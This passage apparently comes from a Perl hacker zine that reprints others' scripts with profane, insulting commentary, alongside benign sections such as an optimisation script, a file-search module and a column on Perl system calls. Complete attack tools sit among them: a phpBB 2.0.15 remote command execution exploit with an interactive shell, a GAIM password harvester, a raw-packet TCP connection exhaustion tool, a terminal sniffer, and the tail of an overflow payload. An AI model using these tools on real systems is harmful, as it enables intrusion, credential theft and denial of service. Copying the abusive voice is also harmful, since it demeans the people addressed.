print "\xfd\xe7%dc\x80"; # %i0
print "AAAA"; # %i1
print "AAAA"; # %i2
print "AAAA"; # %i3
print "AAAA"; # %i4
print "AAAA"; # %i5
# you know the x operator, why the fuck not print "A" x 20;
# everyone likes the dumb way
print '%fd%c3%16%58'; #%fp (%i6)
print '%ff%21%d7%ac'; # %i7
print "A"x1200;
print ".shtml HTTP/1.0\n\n";
-[0x08] # School You: BrowserUK ------------------------------------------
# He had this all tabbed nicely too
# 'Evolution in Action'
#! perl -slw
use strict;
use Term::ReadKey;
use Clone qw[ clone ];
use List::Util qw[ min reduce sum ]; $a=$b;
$| = 1;
use constant { X => 0, Y => 1, };
use constant { REP => 0, LOCNS => 1, SCORE => 2 };
our $GRID||= '100:100';## X:Y of grid
our @GRID = split ':', $GRID;
our $REPN||= 10;## Number of representatives
our $LOCN||= $REPN * 3;## Number of locations
our $EVO||= 1000;## Evolution backtrack count
our $S and srand( 1 );## allows comparison between runs.
print "Reps: $REPN Locations:$LOCN";
die "LOCN must be >= $REPN" unless $LOCN >= $REPN;
sub show { ## Format sets for display
system 'cls' if @_ > 1;
for( @{ $_[ 0 ] } ) {
printf "[%7s] %7g [ %s ]\n",
"@{ $_->[REP] }",
$_->[SCORE]||0.0,
join '', map{ sprintf "[%3d:%3d]", @$_ } @{ $_->[LOCNS] };
}
}
sub pythagoras { ## calc distance between to points.
my( $v1, $v2 ) = @_;
my $dx = abs( $v1->[X] ) - abs( $v2->[X] );
my $dy = abs( $v1->[Y] ) - abs( $v2->[Y] );
return sqrt( $dx**2 + $dy**2 );
}
## Simple scoring. of individual sets
## Sum of distances of locations from rep location.
sub score {
my( $set ) = @_;
return sum map {
pythagoras( $set->[ 0 ], $_ );
} @{ $set->[ 1 ] }
}
my @reps = map { [ int rand rand $GRID[X], int rand $GRID[Y] ] } 1 .. $REPN;
my @locations = map { [ int rand $GRID[X], int rand $GRID[Y] ] } 1 .. $LOCN;
my @sets = map { [ $_, [ pop @locations ] ] } @reps;
push @{ $sets[ rand @sets ][1] }, pop @locations while @locations;
show( \@sets, 1 ); <STDIN>;
my( $tries, $c ) = ( 0, 's' );
my $best = [ 9e99, [], 9 ];
my $evolution = 0;
my( %scores, %best );
my( $delay, $display, $stop ) = ( -1, 1, 0 );
ReadMode 2;
while( 1 ) {
## Caclulate the total score for the current sets.
## Sum of individual totals.
my $totalScore = sum map {
$_->[SCORE] = score $_
} @sets;
## Records frequencies of (integerised) solutions found
$scores{ int $totalScore }++;
## Keep track of iterations
$tries++;
## Commands to monitor progress and quit.
$c = ReadKey( $delay )||'';
$stop = 1 if $c eq 'q'; ## Quit
$delay += 1 if $c eq 's'; ## speed (0=pause) (n>0 sleep n)
$delay = -1 if $c eq 'c'; ## Continue fullspeed
$display = !$display if $c eq 'd'; ## Toggle display
if( $best->[ 0 ] > $totalScore ) { ## If we found a better solution
$best = [ $totalScore, clone( \@sets ), $tries ]; ## save it
$evolution = $EVO;## but allow bad solution to evolve for a while
## Keep a record of when we found improvements
## to allow estimates of "good enough" iterations;
$best{ $tries } = $totalScore;
}
elsif( $stop or not --$evolution ) {
## if no better evolution after $EVO attempts
@sets = @{ $best->[1] }; ## Restore the best yet and try again
print 'Best restored'; Win32::Sleep 1000;
}
last if $stop; ## stop here after ensuring the best is restored.
## Sort them by individual scores
@sets = sort{ $a->[SCORE] <=> $b->[SCORE] } @sets;
## Display them
show \@sets, 1 if $display;
printf "%06d (%06d) %g %g\n",
$tries, $best->[ 2 ], $best->[ 0 ], $totalScore;
## If the worst set has more than 1, given one to the best
push @{ $sets[ 0 ][LOCNS] }, shift @{ $sets[ -1 ][LOCNS] }
if @{ $sets[ -1 ][LOCNS] } > 1;
## pick two set/location pairs at random
my( $a, $b ) = map{ int rand @sets } 1 .. 2;
my( $sa, $sb ) = ( int rand $#{ $sets[ $a ][LOCNS] }, int rand $#{ $sets[ $b ][LOCNS] } );
## and swap them
my $temp = $sets[ $a ][LOCNS][ $sa ]||die "A:$a:$sa";
$sets[ $a ][LOCNS][ $sa ] = $sets[ $b ][LOCNS][ $sb ]||die "B:$b:$sb";
$sets[ $b ][LOCNS][ $sb ] = $temp;
}
show \@sets; ## display best solution
printf "Total: %d after %d tries\n", $best->[ 0 ], $best->[ 2 ];
printf 'Enter to see a frequendy plot of the solutions found'; <STDIN>;
print "$_ => $scores{ $_ }" for sort{ $a <=> $b } keys %scores;
printf 'Enter to see record of best discovery points.'; <STDIN>;
print "Best score: $best{ $_ } after $_ iterations." for sort{ $a <=> $b } keys %best;
-[0x09] # He wants mercy -------------------------------------------------
# mercy this the best perl you got?
my @file_list = `find / -name accounts.xml 2> /dev/null`;
my @lines;
print STDOUT "=======================================\n";
print STDOUT "| GAIM Password reader v1.0.1.0.1 |\n";
print STDOUT "=======================================\n\n";
# Cause you just have to specify STDOUT
foreach my $file (@file_list)
{
open(OF, "<$file");
@lines = <OF>;
chomp(@lines);
# Stupid open(), lame read
# Never head of while (<$FILEHANDLE>) { have you?
# I thought you knew shit about coding/algorithms/structure
# I expect more from you
foreach $string (@lines)
{
if($string =~ /<name>.*<\/name>/)
# yeehaw, its a greedy dotstar
{
$string =~ s/<.?name>//gi;
# BAD
print STDOUT "NAME -\t$string\n";
# BAD
}
if ($string =~ /<password>.*<\/password>/)
# BAD
{
$string =~ s/<.?password>//gi;
#BAD
print STDOUT "PASS -\t$string\n\n";
#BAD
}
}
}
# the only parts that don't suck are your brackets, good to see you can do that right...
-[0x0A] # School You: japhy ----------------------------------------------
7 Stages of a Regex User
Novice
thinks regular expressions are line noise
falls prey to "m/usr/bin/" (embedded /'s in m//)
has no idea what tr/// is
doesn't know about the i modifier
gratuitous use of $`, $&, and $'
doesn't use \w, \d, \s, etc. metaclasses
painfully misuses * and .*
puts words in character classes
Initiate
still a victim of leaning toothpick syndrome (LTS)
uses regexes where chop() or substr() or index() would do
tries to use tr/// like s///
uses brackets in tr///
uses modifiers needlessly (like o, s, and m)
does ($x,$y) = ($1,$2), instead of ($x,$y) = /(re)g(ex)/
uses | in character classes for alternation
uses [^\w] instead of \W
tries to delete HTML tags with s/<.*>//g or s/<.*?>//g
backslashes needlessly
User
uses different m// and s/// delimiters
uses regex where index() would do
knows about tr///, but uses s/// instead
uses regexes in conditionals
knows to use the o modifier, but sometimes gets bitten
uses backreferences incorrectly sometimes (\1 on the RHS of s///)
starts to understand why HTML tags are hard to match with regexes
Adept
knows when to use regexes, and when to use string functions
knows when to use tr///, and when to use s///
leaves the m off // regexes
uses the e modifier in s///
toys with look-ahead
knows to use (?:...) when a backref isn't needed
uses precompiled regexes with qr//
Hacker
uses look-ahead and look-behind with impunity
sighs at the constant-width restraint on look-behind
plays with pos() and \G and the g and c modifiers
has read "Mastering Regular Expressions"
knows how to "unroll the loop"
uses re -- and understands the debug output
uses closures to make regex matching objects
makes nested regexes using (??{...})
can read a regex and explain its function
Guru
works on the regex engine
has patched the engine from time to time
uses precompiled regexes as objects
refers to "Henry" (that is, Henry Spencer)
can explain how any given regex will or won't work
Wizard
can add features to the engine at a whim
has pumpking status
-[0x0B] # DSR *clap clap* ------------------------------------------------
# So I thought to myself, which lame DSR Perl script should I make fun of?
# I decided to be nice, and go for the smallest. It's easy and its the best of them
# Just cause I almost like you guys
use strict;
use IO::Socket;
unless ($ARGV[0]) { print "$0 <viewtopic url>\n"; exit(1); }
$ARGV[0] =~ m!http://(.*?)/(.*?t=\d+)!;
my ($server, $port) = split (/:/,$1);
$port = 80 unless defined($port);
$server = $1 unless defined($server);
# Get that defined out of there
my ($url, $command) = $2;
# Woops should that be there? Lame
print "$server - $port - $url\n";
while () {
print "phpBB2.0.15> ";
while(<STDIN>) {
$command=$_;
chomp($command);
last;
}
# Because there's *no* better way to do that...
&send($command);
# lose the ampersand, fuckface
}
sub send {
my $ok=0;
my $cmd= "echo \"#PHPBBEXPLOIT#\";".$_[0].";echo \"#PHPBBEXPLOIT#\"";
my $string = "GET /$url&highlight='.system(getenv(HTTP_PHP)).' HTTP/1.1\n".
"Host: $server\nPHP: $cmd\n\n\n\n";
my $socket = IO::Socket::INET->new(PeerAddr => $server,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "can't connect to: $server : $@\n";
print $socket $string;
while(<$socket>) {
if (/#PHPBBEXPLOIT#/) {
close($socket) and last if $ok eq 2;
$ok++;
next;
}
# hahaha
print if $ok eq "1";
# How about == and lose the quotes
}
}
exit 0;
-[0x0C] # School You: tachyon --------------------------------------------
# And you thought Perl was just for quick hacks?
# I've cut out the POD, I APOLOGIZE
package File::Seek;
use strict;
# use warnings; # you can use warnings if you have 5.6+
use Time::Local;
require Exporter;
use vars qw( @ISA @EXPORT @EXPORT_OK %EXPORT_TAGS $VERSION $VERSION );
@ISA = qw( Exporter );
@EXPORT = ();
@EXPORT_OK = qw( alphabetic numeric find_time get_between get_last );
%EXPORT_TAGS = ( 'all' => \@EXPORT_OK );
$VERSION = '0.01';
my ($count, $exact_match );
my $debug = 0; # set true to watch progression of algorithm
my $max_tries = 42;
my $descending = 0;
my $cuddle = 0;
my $line_length = 80;
my $error_msg = '';
my $stationary = 0;
my $silent = 0;
my $NAME = 'File::Seek';
my $EMAIL = 'jfreeman@tassie.net.au';
my %months = ( Jan => 0, Feb => 1, Mar => 2, Apr => 3, May => 4, Jun => 5,
Jul => 6, Aug => 7, Sep => 8, Oct => 9, Nov => 10, Dec => 12);
my $default_rec_sep = ($^O =~ m/win32|vms/i) ? "\015\012" :
( $^O =~ /mac/i ) ? "\015" : "\012";
# some subs to set optional vars OO style
sub set_cuddle { $cuddle = 1 };
sub set_no_cuddle { $cuddle = 0 };
sub set_descending { $descending = 1 };
sub set_ascending { $descending = 0 };
sub set_max_tries { $max_tries = shift || 42 };
sub set_line_length { $line_length = shift || 80; $line_length = 80 unless $line_length >= 1 };
sub set_silent { $silent = 1 };
sub set_verbose { $silent = 0 };
sub set_debug { $debug = 1 };
sub no_debug { $debug = 0 };
sub was_exact { $exact_match };
sub error { $error_msg; };
# basic line munge (just chomp it)
sub basic_munge { local $_ = shift || return undef; chomp; return $_ };
sub alphabetic {
local *FILE = shift;
my $string = shift;
my $munge_ref = shift || \&basic_munge;
$error_msg = '';
$stationary = 0;
_find( *FILE, $string, $munge_ref, \&_test_alphabetic );
}
sub numeric {
local *FILE = shift;
my $number = shift;
my $munge_ref = shift || \&basic_munge;
$error_msg = '';
$stationary = 0;
_find( *FILE, $number, $munge_ref, \&_test_numeric );
}
sub find_time {
local *FILE = shift;
my $find = shift;
my $not_gmtime = shift;
$error_msg = '';
$stationary = 0;
my $munge_ref = \&get_epoch_seconds;
my $epoch = get_epoch_seconds( $find );
# if $epoch is defined we assume a date string else real epoch secs
$find = (defined $epoch) ? $epoch : $find;
_find( *FILE, $find, $munge_ref, \&_test_numeric );
}
sub get_epoch_seconds {
my $line = shift;
return undef unless defined $line;
# grab a scalar localtime looking like string from the line
my ($wday,$mon,$mday,$hours,$min,$sec,$year) =
$line =~ m/(\w\w\w)\s+(\w\w\w)\s+(\d{1,2})\s+(\d\d):(\d\d):(\d\d)\s+(\d{4})/;
unless ($year) {
$error_msg = "Unable to find time like string in line:\n$line";
warn $error_msg unless $silent;
return undef;
}
$mon = $months{$mon}; # convert to numerical months 0 - 11
return timegm($sec,$min,$hours,$mday,$mon,$year);
}
sub get_between {
local *FILE = shift;
my $begin = shift || 0;
my $finish = shift || 0;
my $rec_sep = shift || $default_rec_sep;
$error_msg = '';
binmode FILE;
($begin , $finish) = ($finish, $begin) if $begin > $finish;
my $bytes = $finish - $begin;
seek FILE, $begin, 0;
my $read = read (FILE, my $buffer, $bytes);
if ( $read < $bytes ) {
$error_msg = "Short read $NAME\nWanted: $bytes Got: $read\n";
warn $error_msg unless $silent;
return undef;
}
$buffer = substr $buffer, 0, $bytes;
my @lines = split $rec_sep, $buffer;
return wantarray ? @lines : [ @lines ];
}
sub get_last {
local *FILE = shift;
my $num_lines = shift;
my $rec_sep = shift || $default_rec_sep;
$error_msg = '';
binmode FILE;
my $file_size = -s FILE;
my $read = $line_length * $num_lines;
my @file;
GET:
{
$read = $read << 1; # double our estimate
my $position = $file_size - $read;
if ($position < 0 ) {
seek FILE, 0, 0;
$read = read ( FILE, my $buffer, $file_size );
@file = split "$rec_sep", $buffer;
chomp (@file);
if ( $num_lines > @file ) {
$error_msg = "$NAME Wanted $num_lines lines but file only ";
$error_msg .= "contains" . @file . " lines. Whole file returned\n";
warn $error_msg unless $silent;
return wantarray ? @file : [ @file ];
}
splice @file, 0, (scalar @file - $num_lines); ;
return wantarray ? @file : \@file;
}
else {
seek FILE, $position, 0;
$read = read ( FILE, my $buffer, $read );
my $count_lines = $buffer;
my $line_count = $count_lines =~ s/$rec_sep//og;
my $average_line_length = ($line_count) ? ( $read / $line_count ) : $read;
if ($average_line_length > $line_length ) {
$line_length = $average_line_length;
$read = $num_lines * $average_line_length;
}
redo GET unless $num_lines < $line_count; # first line will be a partial
@file = split "$rec_sep", $buffer;
}
splice @file, 0, (scalar @file - $num_lines); ;
return wantarray ? @file : \@file;
}
}
# this is the main routine that implements the halve the difference search
sub _find{
my ( $partial, $line, $next );
local *FILE = shift;
my $find = shift;
my $munge_ref = shift;
my $comp_type = shift;
my $file_size = -s FILE;
my $top = 0;
my $bottom = $file_size;
$exact_match = 0;
$count = 0;
# first line is an edge case, so we test it now
seek FILE, 0, 0;
$line = &$munge_ref( scalar <FILE> );
$next = &$munge_ref( scalar <FILE> );
unless (defined $line and defined $next) {
$error_msg = "$NAME Unable to munge valid data from first or second lines\n";
warn $error_msg unless $silent;
return undef;
}
my $ans = &$comp_type($find, $line, $next);
if ( $ans == 0 or ($descending and $ans == 1) or (not $descending and $ans == -1) ) {
seek FILE, 0, 0;
my $gobble = <FILE> if $exact_match == 2;
return tell FILE;
}
# start the halve the difference loop, we count iterations and
# will abort the loop if we exceed the specified $max_tries
while ( ++$count ) {
my $middle = int(($top+$bottom)/2);
seek FILE, $middle , 0;
$partial = <FILE>;
$line = &$munge_ref( scalar <FILE> );
$next = &$munge_ref( scalar <FILE> );
$ans = &$comp_type($find, $line, $next);
print "A:'$ans' C:'$count' T:'$top' B:'$bottom' Find:'$find' L:'$line' N:'$next'\n" if $debug;
unless (defined $ans) {
$error_msg = "\n\n\nArk, $NAME got to EOF\n";
$error_msg .= &_debug($find, $line, $next, $file_size, $top, $bottom, $descending);
warn $error_msg unless $silent;
return undef;
}
if ( $ans ) {
if ( $descending ) {
( $ans == 1 ) ? $bottom = $middle : $top = $middle;
}
else {
( $ans == 1 ) ? $top = $middle : $bottom = $middle;
}
}
else {
seek FILE, $middle, 0;
my $partial = <FILE>;
if ($exact_match) {
my $gobble = <FILE> if $exact_match == 2;
}
else {
my $gobble = <FILE> unless $cuddle;
}
my $pos = tell FILE;
# end of file is an edge case
return ( $pos < $file_size ) ? $pos : undef;
}
if ( $count >= $max_tries ) {
$error_msg = "\n\n\nArk, $NAME baling out of infinite loop after $max_tries tries\n";
$error_msg .= &_debug($find, $line, $next, $file_size, $top, $bottom, $descending);
warn $error_msg unless $silent;
return undef;
}
}
}
# numeric test routine
{
my $last_line = 0;
my $last_next = 0;
sub _test_numeric {
my ($find, $line, $next) = @_;
# EOF if $line is not defined
return undef unless defined $line;
# check for movement - if repeatedly none we have reached EOF.
if ($line eq $last_line and defined $next and defined $last_next and $next eq $last_next) {
$stationary++;
if ($stationary > 2) {
$stationary = 0;
return undef;
}
}
($last_line, $last_next) = ($line, $next);
# check for an exact match
$exact_match = 2 if defined $next and $find == $next;
$exact_match = 1 if $find == $line; # line must be defined
return 0 if $exact_match;
# check for between-ness depending on sort order
return 0 if !$descending and defined $next and $line < $find and $find < $next;
return 0 if $descending and defined $next and $line > $find and $find > $next;
# otherwise indicate which way to jump
return +1 if $line < $find;
return -1 if $line > $find;
}
}
# alphabetic test routine
{
my $last_line = '';
my $last_next = '';
sub _test_alphabetic {
my ($find, $line, $next) = @_;
return undef unless defined $line;
# check for movement - if repeatedly none we have reached EOF.
if ($line eq $last_line and defined $next and defined $last_next and $next eq $last_next) {
$stationary++;
if ($stationary > 2) {
$stationary = 0;
return undef;
}
}
($last_line, $last_next) = ($line, $next);
# check for an exact match
$exact_match = 2 if defined $next and $find eq $next;
$exact_match = 1 if $find eq $line;
return 0 if $exact_match;
# check for between-ness depending on sort order
return 0 if !$descending and defined $next and $line lt $find and $find lt $next;
return 0 if $descending and defined $next and $line gt $find and $find gt $next;
# otherwise indicate which way to jump
return +1 if $line lt $find;
return -1 if $line gt $find;
}
}
sub _debug {
my ($find, $line, $next, $file_size, $top, $bottom, $mode) = @_;
$line = 'undef' unless defined $line;
$next = 'undef' unless defined $next;
$line = sprintf "0x%x", ord $line unless $line;
$next = sprintf "0x%x", ord $next unless $next;
$mode = ($mode)? "Descending" : "Ascending";
my $message = "Failed to find: '$find'\n";
$message .= "The search mode for the file was '$mode order'\n";
$message .= "\$line:\t$line\n";
$message .= "\$next:\t$next\n";
$message .= sprintf "File size: %12d Bytes\n", $file_size;
$message .= sprintf "\$top: %12d Bytes\n", $top;
$message .= sprintf "\$bottom: %12d Bytes\n", $bottom;
$message .= "Perhaps try reversing the search mode\n";
$message .= "Are you using the correct method - alhpabetic or numeric?\n\n";
$message .= "If you think it is a bug please send a bug report to:\n";
$message .= "$EMAIL\n";
$message .= "A sample of the file, the call to this module and\n";
$message .= "this error message will help to fix the problem\n";
return $message;
}
"tachyon";
__END__
-[0x0D] # Reads like Roadkill --------------------------------------------
# I chose this because its the newest code you had
use Net::RawIP qw(:pcap);
use Socket;
$daddr=$ARGV[0];
$dport=$ARGV[1];
# shift motherfuckers, shift
if($#ARGV != 1){ &usage(); }
# nice form...not
$dev=rdev($daddr);
$saddr=${ifaddrlist()}{$dev};
$rule="tcp and src host $daddr and src port $dport";
$sendpacket = new Net::RawIP;
$recvpacket = new Net::RawIP;
$pcap=$recvpacket->pcapinit($dev,$rule,1500,30);
$offset=linkoffset($pcap);
srand();
$startport=6666+int(rand(60000));
for($sport=$startport; $sport<($startport+5000); $sport++){
# we have this whole range operator thing. check it out
$sendpacket->set({
ip=>{
saddr=>$saddr, daddr=>$daddr,
},
tcp=>{
source=>$sport, dest=>$dport, seq=>'-1184816751', ack_seq=>'0',
urg=>'0', ack=>'0', psh=>'0', rst=>'0', syn=>'1', fin=>'0',
}
});
$sendpacket->send();
loop $pcap,1,\&sniffsynack,\@a;
# oh thats hot
}
sub usage {
print "Usage: \$ perl naptha-like.pl ip port\n";
exit;
}
sub sniffsynack {
# oh yes, use all those vars, we need them ALL
$recvpacket->bset(substr($_[2],$offset));
my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
$daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
$ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
$recvpacket->get({
ip=>['version','ihl','tos','tot_len','id','frag_off',
'ttl','protocol','check','saddr','daddr'],
tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
'res2','urg','ack','psh','rst','syn','fin',
'window','check','data']
});
if ($pro=~/\S/) {
$saddr=inet_ntoa(pack("N",$saddr));
$daddr=inet_ntoa(pack("N",$daddr));
$seq++;
$sendpacket->set({
ip=>{
saddr=>$daddr, daddr=>$saddr,
},
tcp=>{
source=>$dport, dest=>$sport, seq=>$aseq, ack_seq=>$seq,
urg=>'0', ack=>'1', psh=>'0', rst=>'0', syn=>'0', fin=>'0',
}
});
$sendpacket->send();
}
}
-[0x0E] # School You: merlyn ---------------------------------------------
As I type this month's column, we're just pulling away from Ocho Rios,
Jamaica, on the latest Geek Cruise (www.geekcruises.com) called ``Linux
Lunacy 2''. Earlier today, some of the speakers on this conference/cruise,
including Linus Torvalds and Eric Raymond, held a meeting with the
Jamaican Linux Users Group. We're out at sea, en-route to Holland
America's private island, ``Half Moon Cay'', so I'm using the satellite
link to upload and review this column (for a mere 30 cents a minute).
Earlier this week Eric Raymond gave one of his many visionary
presentations. This one in particular mentioned Perl for a section on
``What Perl Got Right''. The message surprised me, because Eric prefers
that other popular ``P'' language over Perl for his personal and
professional work. The one thing that Eric says that Perl got right is one
of the many things that I think Perl got right: Perl's easy access to
low-level operating system functionality.
Let's take a look at what this means. Perl gives you unlink() and rename()
to remove and rename files. These calls pass nearly directly to the
underlying ``section 2'' Unix system calls, without hiding the call behind
a confusing abstraction layer. In fact, the name ``unlink'' is a direct
reflection of that. Many beginners look for a ``file delete'' operation,
without stumbling across ``unlink'' because of its peculiar name.
But the matchup doesn't stop there. Perl's file and directory operations
include such entries as chdir(), chmod(), chown(), chroot(), fcntl(),
ioctl(), link(), mkdir(), readlink(), rmdir(), stat(), symlink(), umask(),
and utime(). All of these are mapped nearly directly to the corresponding
system call. This means that file-manipulating programs don't have to call
out to a shell just to perform the heavy lifting.
And if you want process control, Perl gives you alarm(), exec(), fork(),
get/setpgrp(), getppid(), get/setpriority(), kill(), pipe(), sleep(),
wait(), and waitpid(). With fork and pipe, you can create any feasible
piping configuration, again not limited to a particular process
abstraction provided by a more limited scripting language. And you can
manage and modify those processes directly as well.
Let's not forget those socket functions, like accept(), bind(), connect(),
getpeername(), getsockname(), get/setsockopt(), listen(), recv(), send(),
shutdown(), socket(), and socketpair(). Although most people usually end
up using the higher level modules that wrap around these calls (like LWP
or Net::SMTP), they in turn can call these operations to set up the
interprocess communication. And if a protocol isn't provided by a readily
accessible library, you can get down near the metal and tweak to your
heart's content.
Speaking of interprocess communication, you've also got the ``System V''
interprocess communications, like msgctl(), msgget(), msgrcv(), msgsnd(),
semctl(), semget(), semop(), shmctl(), shmget(), shmread()
and shmwrite().
Again, each of these calls maps nearly directly to the underlying system
call, making existing C-based literature a ready source of examples and
explanation, rather than providing a higher-level abstraction layer. Then
again, if you don't want to deal with the low-level interfaces, common
CPAN modules hide away the details if you wish.
And then there's the user and group info (getpwuid() and friends), network
info (like gethostbyname()). Even opening a file can be modified using all
of the flags directly available to the open system call, like O_NONBLOCK,
O_CREAT or O_EXCL.
Hopefully, you can see from these lists that Perl provides a rich set of
interfaces to low-level operating system details. Why is this ``what Perl
got right''?
It means that while Perl provides a decent high-level language for text
wrangling and object-oriented programming, we can still get ``down in the
dirt'' to precisely control, create, modify, manage, and maintain our
systems and data. For example, if our application requires a ``write to
temp file, then close and rename atomically'' to keep other applications
from seeing a partially written file, we can spell it out as if we were in
a systems implementation language like C:
open TMP, ">ourfile.$$" or die "...";
print TMP @our_new_data;
close TMP;
chmod 0444, "ourfile.$$" or die "...";
rename "ourfile.$$", "ourfile" or die "...";
By keeping the system call names the same (or similar), we can leverage
off existing examples, documentation, and knowledge.
In a scripting language without these low-level operations, we're forced
to accept a world as presented by the language designer, not the world in
which we live as a practicality. Eric Raymond gave as examples an old LISP
system which provided many layers of abstraction (sometimes buggy) before
you got to actual file input/output system calls, and the classic
Smalltalk image, which provides a world unto itself, but very few hooks
out into the real world. As a modern example, Java seems to be somewhat
painful about ``real world'' connections, preferring instead to have its
users implement the ideal world for it rather than it adapting to its
world.
And in this, I agree. I've personally written probably a thousand system
admin utilities over the 13 years that I've been playing with Perl, and
many of those involved those mundane tasks of opening a file precisely the
way I wanted, moving it around, and watching processes and files to make
sure they weren't getting out of hand. It may not be sexy, but it's where
the work actually is -- where the work gets done.
So while I encourage everyone to rush out and play with Squeak Smalltalk
(www.squeak.org) to learn real object-oriented programming, at the end of
the day it's still gonna be Perl (OO or not) that monitors my website and
pages me when the system goes down.
One interesting side-effect of Perl having so many low-level functions is
that it forced those who ported Perl from Unix to other operating systems
to think about how to perform those functions portably. Thus, the ``Unix
API'' provides a ``virtual'' operating system interface for Perl
programmers, regardless of the platform.
And since I'm familiar with Unix, I can actually code up portable Perl
programs that run on MacOS and Windows and VMS without having to be very
smart on their oddities, or relearn a different API, even for apparently
low-level operations. I remember squealing with delight when a program I
had written for Unix that dealt with forking and sockets ran without any
code changes on a Windows box at a customer site. I actually had not
expected it to work, especially not as-is.
But what if something in section 2 of my Unix manual isn't supported
directly by Perl? Well, on those platforms that support it, the syscall()
interface provides a nifty escape hatch. Given the right parameters, the
syscall function can call nearly any single-value-return system call.
For example, suppose the rename() function weren't provided directly by
Perl. We could simply look it up in /usr/include/sys/syscall.h, apply the
proper parameters as indicated by the rename(2) page, and we're up and
running anyway. The code might look something like this:
sub my_rename {
my $from = shift;
my $to = shift;
$! = 0;
syscall(128, $from, $to);
return ! $!;
}
my_rename("fred", "barney")
or die "Cannot rename: $!";
The magic ``128'' came from hunting around in my /usr/include directory
until I could find the system call number of rename. That's the highly
non-portable part of this operation, so your mileage and number will vary.
Once we have that number, we can issue a syscall. The value of $! is set
to 0 before the call, and checked for a non-zero value after the call. If
the operator returned anything of interest, we could also check that at
the call itself. If the call fails, the normal die with $! in the text
string gives us a reasonable error message.
So, if syscall works, we can wrap anything in Unix manual section 2 that
isn't already provided, all without leaving Perl.
But what if syscall didn't work? Well, even all the way back to Perl
version 4, we had a documented way of ``extending'' a Perl interpreter
using the C-level Perl interfaces. And it all got nicely easier with the
release of Perl version 5, using the XS interface. With XS, we can write
dynamically loaded object code for our low-level interface (or statically
linked on some of the more limited systems), and then use it at will.
But this XS interface was still a stumbling block for many people. Many
consider it arcane, requiring too many knowledge steps to be useful. So,
thankfully, last year Brian Ingerson (``ingy'') came along and wrote the
beginnings of the Inline architecture. In particular, Inline::C allows me
to define arbitrary subroutines in C, and they simply appear as callable
Perl subroutines. Behind the scenes, an MD5-hash of the C code is created,
and used to maintain a cache of to-be-compiled or pre-compiled loadable
object files. At this point, renaming a file would be as simple as copying
the syntax nearly directly from the example of the rename(2) manpage:
use Inline C => <<'END';
#include <stdio.h>
int my_rename(char *from, char *to) {
return rename(from, to) >= 0; /* -1 is bad, 0 is good */
}
END
my_rename("fred", "barney")
or die "Cannot rename fred to barney: $!";
Here I'm providing the definition for my_rename as a C function. The
arguments are specified exactly as they would be in a C program, and the
rename system call gets called in the middle, massaging the return value
slightly.
The Inline structure creates the proper glue to hook the snippet into the
Perl-to-C code, and arranges for the C compiler to process that code. The
results are cached: the first time this program is run, it takes about a
second or so, but every invocation following that is lightning fast.
So, as you can see, Perl can easily get ``down to C level'' (just like
this cruise ship I'm on). And Eric Raymond says this is the one thing that
Perl got right. I tend to think it's a bit more than that. By the way, if
you want to hack Perl with experts, be sure to check out the upcoming Perl
Geek Cruise on the web site. I'll be there, coding on the high seas. Until
next time, enjoy!
-[0x0F] # r0t0r can't get a break ----------------------------------------
use Getopt::Std;
use strict;
use vars qw/ %opt /;
# When I see something like that I check to see how old the code is
# But nope, that's just you sucking!
my $opt_string = 'hstl';
getopts("$opt_string", \%opt ) or usage();
usage() if $opt{h};
logon() if $opt{l};
sniffs() if $opt{s};
sub logon {
bann()
open(LOG, ">>$opt{l}") || or die "Cant Create $opt{l}\n";
# mmm overwrite
my $term = `cat /dev/$opt{t}`;
my $date = `date`;
my $host = `hostname`;
# not like Perl has shit for that eh?
print LOGFILE "Sniffing $opt{t} on $date @ $host\n";
print LOGFILE "$term";
# mmm quotage
}
sub sniffs {
my $term = `cat /dev/$opt{t}`;
my $date = `date`;
my $host = `hostname`;
print "Sniffing $opt{t} on $date @ $host\n";
print "$term";
# oh look its code repeat
}
sub bann {
print("\ntsniff (C) rotor 2005 - 2006 - rotor\@killerz.org\n");
print("http://www.killerz.org - http://www.hacktheb0x.tk\n");
print("Starting tsniff on $opt{t}\n");
}
sub usage {
print("Usage: ./$0 [-hst] [-l file]\n");
print("-h : print this message\n");
print("-t : terminal they are on\n");
print("-s : sniff to screen\n");
print("-l : log sniffer\n");
}
-[0x10] # Ch4r's contribution to Perl ------------------------------------
# This is the kind of lame tutorial that noobs find
# I get tired of looking at bad code and having it explained with
# "but I saw it in a tut"
# No way I'm going through this to point out problems.
# Just read and laugh
| Copy Info |
This tutorial may be redistributed as long as it remains completely
unchanged and full credit is given to me, Ch4r/Niels.
# You can take your credit (I wouldn't want it!), but I'll cut out the
# first half of your lame tut, mkay?
# What motivates people to write shit about something they don't
# understand?
# And then release it, complete with 'Copy Info'
# PRIDE
So far we've seen two conditional control structures, if and if-else.
There is, however, another widely used type of control structure that is
used as a method of repitition - a loop. The first type of loop covered
here is the while loop. This loop is given a test, similar to the if
control structure, and while the test is true it continues to execute the
block of code enclosed in braces. Here's an example:
-----
$i = 0;
while ($i <= 10) {
print "$i is not more than 10\n";
$i = $i + 1;
}
-----
This loop prints the following to standard output:
0 is not more than 10
1 is not more than 10
2 is not more than 10
3 is not more than 10
4 is not more than 10
5 is not more than 10
6 is not more than 10
7 is not more than 10
8 is not more than 10
9 is not more than 10
10 is not more than 10
How does this work? The while loop is given a condition -- $i <= 10. $i is
set to 0 and zero is less than or equal to ten, so the body of loop is
executed. The body of the loop consists of a print statement, and then
assigns the variable $i a value of itself plus one. $i is now 1. As one is
less than or equal to ten, the process repeats. This continues until the
final iteration of the loop, when $i is 10. Ten is less than or equal to
ten, so the block is again executed. Now $i is again assigned the value of
itself plus one, which equals 11. As eleven is not less than or equal to
ten, the body of the while loop is not executed and execution of the
script continues past the while loop.
Note that Perl offers us a couple of commonly used shortcuts to rewrite
the expression "$i = $i + 1". The first of these allows us to replace "$i
= $i + n" with "$i += n" (where n is a number). This is not simply limited
to adding a given amount to a variable though -- the same notation can be
implemented for subtracting, multiplying, or dividing.
The following chart lists some expressions that can be rewritten with this
shorter notation, and then shows the equivalent using Perl's +=/-=/*=//=
shortcut.
Expression
Shorter Equivalent
$i = $i + 17
$i += 17
$j = $j * 12
$j *= 12
$a = $a / 27
$a /= 27
$k = $k + 3
$k += 3
$v = $v - 7
$v -= 7
Perl also offers a second shortcut that is used to add one or subtract one
